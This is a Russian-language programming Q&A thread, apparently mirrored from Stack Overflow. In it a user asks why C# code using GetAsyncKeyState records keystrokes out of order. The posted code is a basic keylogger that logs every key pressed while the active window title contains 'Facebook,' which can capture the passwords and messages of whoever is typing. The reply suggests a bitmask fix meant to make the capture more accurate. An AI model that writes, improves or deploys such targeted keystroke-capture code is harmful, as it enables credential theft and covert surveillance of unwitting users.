GetAsyncKeyState не захватывает ключи в правильном порядке - PullRequest
0 голосов
/ 08 мая 2020

У меня есть приведенный ниже код, который фиксирует нажатия клавиш, если заголовок активного окна содержит «Facebook», однако при тестировании ... я не получаю точного порядка нажатия клавиш, а некоторые клавиши пропускаются ... что может Я хочу улучшить это?

Например: если я наберу «ALI», я получу «AIL» распечатано

       [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);

    [DllImport("user32.dll")]
    private static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll")]
    static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);


    static void Main(string[] args)
    {

        while (true)
        {
            string WindowTitle = GetActiveWindowTitle();

            if (WindowTitle == null)
                return;

            if (WindowTitle.Contains("Facebook"))
            {
                for (int i = 0; i < 255; i++)
                {
                    int state = GetAsyncKeyState(i);

                    if (state == 1 || state == -32767)
                    {
                        Console.WriteLine((Keys)i);
                    }
                }

            }

            Thread.Sleep(1000);
        }
    }

    private static string GetActiveWindowTitle()
    {
        const int chars = 256;
        StringBuilder buff = new StringBuilder(chars);
        IntPtr handle = GetForegroundWindow();

        if (GetWindowText(handle, buff, chars) > 0)
        {
            return buff.ToString();
        }

        return null;
    }

1 Ответ

0 голосов
/ 08 мая 2020

Измените эти:

   [DllImport("user32.dll")]
    public static extern ushort GetAsyncKeyState(Int32 i);

и

if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
{
    Console.WriteLine((Keys)i);
}

, но не уверены, будет ли это работать?

...